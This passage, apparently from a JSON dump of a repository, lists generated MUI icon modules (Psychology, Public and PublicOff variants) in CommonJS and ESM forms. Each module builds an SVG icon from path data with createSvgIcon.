    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8.57c-.79 0-1.43.64-1.43 1.43s.64 1.43 1.43 1.43 1.43-.64 1.43-1.43-.64-1.43-1.43-1.43\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.21 3c-3.84-.11-7 2.87-7.19 6.64L4.1 12.2c-.25.33-.01.8.4.8H6v3c0 1.1.9 2 2 2h1v2c0 .55.45 1 1 1h5c.55 0 1-.45 1-1v-3.68c2.44-1.16 4.1-3.68 4-6.58-.14-3.62-3.18-6.63-6.79-6.74M16 10c0 .13-.01.26-.02.39l.83.66c.08.06.1.16.05.25l-.8 1.39c-.05.09-.16.12-.24.09l-.99-.4c-.21.16-.43.29-.67.39L14 13.83c-.01.1-.1.17-.2.17h-1.6c-.1 0-.18-.07-.2-.17l-.15-1.06c-.25-.1-.47-.23-.68-.39l-.99.4c-.09.03-.2 0-.25-.09l-.8-1.39c-.05-.08-.03-.19.05-.25l.84-.66c-.01-.13-.02-.26-.02-.39s.02-.27.04-.39l-.85-.66c-.08-.06-.1-.16-.05-.26l.8-1.38c.05-.09.15-.12.24-.09l1 .4c.2-.15.43-.29.67-.39L12 6.17c.02-.1.1-.17.2-.17h1.6c.1 0 .18.07.2.17l.15 1.06c.24.1.46.23.67.39l1-.4c.09-.03.2 0 .24.09l.8 1.38c.05.09.03.2-.05.26l-.85.66c.03.12.04.25.04.39\"\n}, \"1\")], 'PsychologyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8.57c-.79 0-1.43.64-1.43 1.43s.64 1.43 1.43 1.43 1.43-.64 1.43-1.43-.64-1.43-1.43-1.43\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3C9.25 3 6.2 5.94 6.02 9.64L4.1 12.2c-.25.33-.01.8.4.8H6v3c0 1.1.9 2 2 2h1v3h7v-4.68c2.36-1.12 4-3.53 4-6.32 0-3.87-3.13-7-7-7m3 7c0 .13-.01.26-.02.39l.83.66c.08.06.1.16.05.25l-.8 1.39c-.05.09-.16.12-.24.09l-.99-.4c-.21.16-.43.29-.67.39L14 13.83c-.01.1-.1.17-.2.17h-1.6c-.1 0-.18-.07-.2-.17l-.15-1.06c-.25-.1-.47-.23-.68-.39l-.99.4c-.09.03-.2 0-.25-.09l-.8-1.39c-.05-.08-.03-.19.05-.25l.84-.66c-.01-.13-.02-.26-.02-.39s.02-.27.04-.39l-.85-.66c-.08-.06-.1-.16-.05-.26l.8-1.38c.05-.09.15-.12.24-.09l1 .4c.2-.15.43-.29.67-.39L12 6.17c.02-.1.1-.17.2-.17h1.6c.1 0 .18.07.2.17l.15 1.06c.24.1.46.23.67.39l1-.4c.09-.03.2 0 .24.09l.8 1.38c.05.09.03.2-.05.26l-.85.66c.03.12.04.25.04.39\"\n}, \"1\")], 'PsychologySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8.57c-.79 0-1.43.64-1.43 1.43s.64 1.43 1.43 1.43 1.43-.64 1.43-1.43-.64-1.43-1.43-1.43\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3C9.25 3 6.2 5.94 6.02 9.64L4.1 12.2c-.25.33-.01.8.4.8H6v3c0 1.1.9 2 2 2h1v3h7v-4.68c2.36-1.12 4-3.53 4-6.32 0-3.87-3.13-7-7-7m3 7c0 .13-.01.26-.02.39l.83.66c.08.06.1.16.05.25l-.8 1.39c-.05.09-.16.12-.24.09l-.99-.4c-.21.16-.43.29-.67.39L14 13.83c-.01.1-.1.17-.2.17h-1.6c-.1 0-.18-.07-.2-.17l-.15-1.06c-.25-.1-.47-.23-.68-.39l-.99.4c-.09.03-.2 0-.25-.09l-.8-1.39c-.05-.08-.03-.19.05-.25l.84-.66c-.01-.13-.02-.26-.02-.39s.02-.27.04-.39l-.85-.66c-.08-.06-.1-.16-.05-.26l.8-1.38c.05-.09.15-.12.24-.09l1 .4c.2-.15.43-.29.67-.39L12 6.17c.02-.1.1-.17.2-.17h1.6c.1 0 .18.07.2.17l.15 1.06c.24.1.46.23.67.39l1-.4c.09-.03.2 0 .24.09l.8 1.38c.05.09.03.2-.05.26l-.85.66c.03.12.04.25.04.39\"\n}, \"1\")], 'PsychologySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 5c-2.65 0-4.79 2.06-4.97 4.67L6.7 12H8v4h3v3h3v-3.95l.89-.43C16.71 13.88 18 12.09 18 10c0-2.76-2.24-5-5-5m3.82 3.95-.85.66q.03.18.03.39c0 .13-.01.26-.02.39l.83.66c.08.06.1.16.05.25l-.8 1.39c-.05.09-.16.12-.24.09l-.99-.4c-.21.16-.43.29-.67.39L14 13.83c-.01.1-.1.17-.2.17h-1.6c-.1 0-.18-.07-.2-.17l-.15-1.06c-.25-.1-.47-.23-.68-.39l-.99.4c-.09.03-.2 0-.25-.09l-.8-1.39c-.05-.08-.03-.19.05-.25l.84-.66c-.01-.13-.02-.26-.02-.39s.02-.27.04-.39l-.85-.66c-.08-.06-.1-.16-.05-.26l.8-1.38c.05-.09.15-.12.24-.09l1 .4c.2-.15.43-.29.67-.39L12 6.17c.02-.1.1-.17.2-.17h1.6c.1 0 .18.07.2.17l.15 1.06c.24.1.46.23.67.39l1-.4c.09-.03.2 0 .24.09l.8 1.38c.05.09.03.2-.04.26\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.82 7.22-1 .4c-.21-.16-.43-.29-.67-.39L14 6.17c-.02-.1-.1-.17-.2-.17h-1.6c-.1 0-.18.07-.19.17l-.15 1.06c-.24.1-.47.23-.67.39l-1-.4c-.09-.03-.2 0-.24.09l-.8 1.38c-.05.09-.03.2.05.26l.85.66c-.03.12-.05.26-.05.39q0 .195.03.39l-.84.66c-.08.06-.1.17-.05.25l.8 1.39c.05.09.15.12.25.09l.99-.4c.21.16.43.29.68.39l.14 1.06c.02.1.1.17.2.17h1.6c.1 0 .18-.07.2-.17l.15-1.06c.24-.1.47-.23.67-.39l.99.4c.09.04.2 0 .24-.09l.8-1.39c.05-.09.03-.19-.05-.25l-.83-.66q.03-.195.03-.39 0-.21-.03-.39l.85-.66c.08-.06.1-.17.05-.26l-.8-1.38c-.05-.09-.16-.12-.25-.09M13 11.43c-.79 0-1.43-.64-1.43-1.43s.64-1.43 1.43-1.43 1.43.64 1.43 1.43-.64 1.43-1.43 1.43\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.94 9.06c-.43-3.27-3.23-5.86-6.53-6.05C13.27 3 13.14 3 13 3 9.47 3 6.57 5.61 6.08 9l-1.93 3.48c-.41.66.07 1.52.85 1.52h1v2c0 1.1.9 2 2 2h1v3h7v-4.68c2.62-1.25 4.35-4.08 3.94-7.26m-5.05 5.57-.89.42V19h-3v-3H8v-4H6.7l1.33-2.33C8.21 7.06 10.35 5 13 5c2.76 0 5 2.24 5 5 0 2.09-1.29 3.88-3.11 4.63\"\n}, \"2\")], 'PsychologyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PsychologyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 5c-2.65 0-4.79 2.06-4.97 4.67L6.7 12H8v4h3v3h3v-3.95l.89-.43C16.71 13.88 18 12.09 18 10c0-2.76-2.24-5-5-5m3.82 3.95-.85.66q.03.18.03.39c0 .13-.01.26-.02.39l.83.66c.08.06.1.16.05.25l-.8 1.39c-.05.09-.16.12-.24.09l-.99-.4c-.21.16-.43.29-.67.39L14 13.83c-.01.1-.1.17-.2.17h-1.6c-.1 0-.18-.07-.2-.17l-.15-1.06c-.25-.1-.47-.23-.68-.39l-.99.4c-.09.03-.2 0-.25-.09l-.8-1.39c-.05-.08-.03-.19.05-.25l.84-.66c-.01-.13-.02-.26-.02-.39s.02-.27.04-.39l-.85-.66c-.08-.06-.1-.16-.05-.26l.8-1.38c.05-.09.15-.12.24-.09l1 .4c.2-.15.43-.29.67-.39L12 6.17c.02-.1.1-.17.2-.17h1.6c.1 0 .18.07.2.17l.15 1.06c.24.1.46.23.67.39l1-.4c.09-.03.2 0 .24.09l.8 1.38c.05.09.03.2-.04.26\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.82 7.22-1 .4c-.21-.16-.43-.29-.67-.39L14 6.17c-.02-.1-.1-.17-.2-.17h-1.6c-.1 0-.18.07-.19.17l-.15 1.06c-.24.1-.47.23-.67.39l-1-.4c-.09-.03-.2 0-.24.09l-.8 1.38c-.05.09-.03.2.05.26l.85.66c-.03.12-.05.26-.05.39q0 .195.03.39l-.84.66c-.08.06-.1.17-.05.25l.8 1.39c.05.09.15.12.25.09l.99-.4c.21.16.43.29.68.39l.14 1.06c.02.1.1.17.2.17h1.6c.1 0 .18-.07.2-.17l.15-1.06c.24-.1.47-.23.67-.39l.99.4c.09.04.2 0 .24-.09l.8-1.39c.05-.09.03-.19-.05-.25l-.83-.66q.03-.195.03-.39 0-.21-.03-.39l.85-.66c.08-.06.1-.17.05-.26l-.8-1.38c-.05-.09-.16-.12-.25-.09M13 11.43c-.79 0-1.43-.64-1.43-1.43s.64-1.43 1.43-1.43 1.43.64 1.43 1.43-.64 1.43-1.43 1.43\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.94 9.06c-.43-3.27-3.23-5.86-6.53-6.05C13.27 3 13.14 3 13 3 9.47 3 6.57 5.61 6.08 9l-1.93 3.48c-.41.66.07 1.52.85 1.52h1v2c0 1.1.9 2 2 2h1v3h7v-4.68c2.62-1.25 4.35-4.08 3.94-7.26m-5.05 5.57-.89.42V19h-3v-3H8v-4H6.7l1.33-2.33C8.21 7.06 10.35 5 13 5c2.76 0 5 2.24 5 5 0 2.09-1.29 3.88-3.11 4.63\"\n}, \"2\")], 'PsychologyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Public.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L9 15v1c0 1.1.9 2 2 2zm6.9-2.54c-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H8v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2v-.41c2.93 1.19 5 4.06 5 7.41 0 2.08-.8 3.97-2.1 5.39\"\n}), 'Public');"
  },
  {
    "path": "packages/mui-icons-material/lib/Public.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L9 15v1c0 1.1.9 2 2 2zm6.9-2.54c-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H8v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2v-.41c2.93 1.19 5 4.06 5 7.41 0 2.08-.8 3.97-2.1 5.39\"\n}), 'Public');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8.17 6.49 3.66C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51l-1.46-1.46C19.59 14.87 20 13.48 20 12c0-3.35-2.07-6.22-5-7.41V5c0 1.1-.9 2-2 2h-2zm10.19 13.02-1.41 1.41-2.27-2.27C15.93 21.39 14.04 22 12 22 6.48 22 2 17.52 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81zM11 18c-1.1 0-2-.9-2-2v-1l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.08 3.05 7.44 7 7.93z\"\n}), 'PublicOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8.17 6.49 3.66C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51l-1.46-1.46C19.59 14.87 20 13.48 20 12c0-3.35-2.07-6.22-5-7.41V5c0 1.1-.9 2-2 2h-2zm10.19 13.02-1.41 1.41-2.27-2.27C15.93 21.39 14.04 22 12 22 6.48 22 2 17.52 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81zM11 18c-1.1 0-2-.9-2-2v-1l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.08 3.05 7.44 7 7.93z\"\n}), 'PublicOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8.17 6.49 3.66C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51l-1.46-1.46C19.59 14.87 20 13.48 20 12c0-3.35-2.07-6.22-5-7.41V5c0 1.1-.9 2-2 2h-2zm10.19 13.02-1.41 1.41-2.27-2.27C15.93 21.39 14.04 22 12 22 6.48 22 2 17.52 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81zM11 18c-1.1 0-2-.9-2-2v-1l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.08 3.05 7.44 7 7.93z\"\n}), 'PublicOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8.17 6.49 3.66C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51l-1.46-1.46C19.59 14.87 20 13.48 20 12c0-3.35-2.07-6.22-5-7.41V5c0 1.1-.9 2-2 2h-2zm10.19 13.02-1.41 1.41-2.27-2.27C15.93 21.39 14.04 22 12 22 6.48 22 2 17.52 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81zM11 18c-1.1 0-2-.9-2-2v-1l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.08 3.05 7.44 7 7.93z\"\n}), 'PublicOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8.17 6.49 3.66C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51l-1.46-1.46C19.59 14.87 20 13.48 20 12c0-3.35-2.07-6.22-5-7.41V5c0 1.1-.9 2-2 2h-2zm9.49 13.73c-.39.39-1.02.39-1.41 0l-1.56-1.56c-2.07 1.37-4.68 2-7.45 1.48-3.95-.75-7.13-3.92-7.88-7.88-.52-2.77.1-5.38 1.48-7.45L2.1 4.93a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M11 18c-1.1 0-2-.9-2-2v-1l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.08 3.05 7.44 7 7.93z\"\n}), 'PublicOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8.17 6.49 3.66C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51l-1.46-1.46C19.59 14.87 20 13.48 20 12c0-3.35-2.07-6.22-5-7.41V5c0 1.1-.9 2-2 2h-2zm9.49 13.73c-.39.39-1.02.39-1.41 0l-1.56-1.56c-2.07 1.37-4.68 2-7.45 1.48-3.95-.75-7.13-3.92-7.88-7.88-.52-2.77.1-5.38 1.48-7.45L2.1 4.93a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M11 18c-1.1 0-2-.9-2-2v-1l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.08 3.05 7.44 7 7.93z\"\n}), 'PublicOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8.17 6.49 3.66C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51l-1.46-1.46C19.59 14.87 20 13.48 20 12c0-3.35-2.07-6.22-5-7.41V5c0 1.1-.9 2-2 2h-2zm10.19 13.02-1.41 1.41-2.27-2.27C15.93 21.39 14.04 22 12 22 6.48 22 2 17.52 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81zM11 18c-1.1 0-2-.9-2-2v-1l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.08 3.05 7.44 7 7.93z\"\n}), 'PublicOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8.17 6.49 3.66C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51l-1.46-1.46C19.59 14.87 20 13.48 20 12c0-3.35-2.07-6.22-5-7.41V5c0 1.1-.9 2-2 2h-2zm10.19 13.02-1.41 1.41-2.27-2.27C15.93 21.39 14.04 22 12 22 6.48 22 2 17.52 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81zM11 18c-1.1 0-2-.9-2-2v-1l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.08 3.05 7.44 7 7.93z\"\n}), 'PublicOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 8.17 7.88 7.88C19.59 14.87 20 13.48 20 12c0-3.35-2.07-6.22-5-7.41V5c0 1.1-.9 2-2 2h-2zM11 18c-1.1 0-2-.9-2-2v-1l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.08 3.05 7.44 7 7.93z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 8.17 6.49 3.66C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51l-1.46-1.46C19.59 14.87 20 13.48 20 12c0-3.35-2.07-6.22-5-7.41V5c0 1.1-.9 2-2 2h-2zm10.19 13.02-1.41 1.41-2.27-2.27C15.93 21.39 14.04 22 12 22 6.48 22 2 17.52 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81zM11 18c-1.1 0-2-.9-2-2v-1l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.08 3.05 7.44 7 7.93z\"\n}, \"1\")], 'PublicOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 8.17 7.88 7.88C19.59 14.87 20 13.48 20 12c0-3.35-2.07-6.22-5-7.41V5c0 1.1-.9 2-2 2h-2zM11 18c-1.1 0-2-.9-2-2v-1l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.08 3.05 7.44 7 7.93z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 8.17 6.49 3.66C8.07 2.61 9.96 2 12 2c5.52 0 10 4.48 10 10 0 2.04-.61 3.93-1.66 5.51l-1.46-1.46C19.59 14.87 20 13.48 20 12c0-3.35-2.07-6.22-5-7.41V5c0 1.1-.9 2-2 2h-2zm10.19 13.02-1.41 1.41-2.27-2.27C15.93 21.39 14.04 22 12 22 6.48 22 2 17.52 2 12c0-2.04.61-3.93 1.66-5.51L1.39 4.22 2.8 2.81zM11 18c-1.1 0-2-.9-2-2v-1l-4.79-4.79C4.08 10.79 4 11.38 4 12c0 4.08 3.05 7.44 7 7.93z\"\n}, \"1\")], 'PublicOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-.61.08-1.21.21-1.78L8.99 15v1c0 1.1.9 2 2 2v1.93C7.06 19.43 4 16.07 4 12m13.89 5.4c-.26-.81-1-1.4-1.9-1.4h-1v-3c0-.55-.45-1-1-1h-6v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2v-.41C17.92 5.77 20 8.65 20 12c0 2.08-.81 3.98-2.11 5.4\"\n}), 'PublicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-.61.08-1.21.21-1.78L8.99 15v1c0 1.1.9 2 2 2v1.93C7.06 19.43 4 16.07 4 12m13.89 5.4c-.26-.81-1-1.4-1.9-1.4h-1v-3c0-.55-.45-1-1-1h-6v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2v-.41C17.92 5.77 20 8.65 20 12c0 2.08-.81 3.98-2.11 5.4\"\n}), 'PublicOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L9 15v1c0 1.1.9 2 2 2zm6.9-2.54c-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H8v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2v-.41c2.93 1.19 5 4.06 5 7.41 0 2.08-.8 3.97-2.1 5.39\"\n}), 'PublicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-1 17.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L9 15v1c0 1.1.9 2 2 2zm6.9-2.54c-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H8v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2v-.41c2.93 1.19 5 4.06 5 7.41 0 2.08-.8 3.97-2.1 5.39\"\n}), 'PublicRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PublicSharp.js",
